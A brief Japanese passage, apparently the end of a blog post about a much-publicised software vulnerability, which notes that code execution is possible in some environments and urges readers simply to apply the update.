これだけ大きく被害があり、話題になれば、対策しない人のほうが少ないんじゃないかなんて思いますが、環境によってはコード実行まで行われますので、そうした環境を狙った攻撃が行われていく可能性があります。

 

アップデートしましょう。それだけです。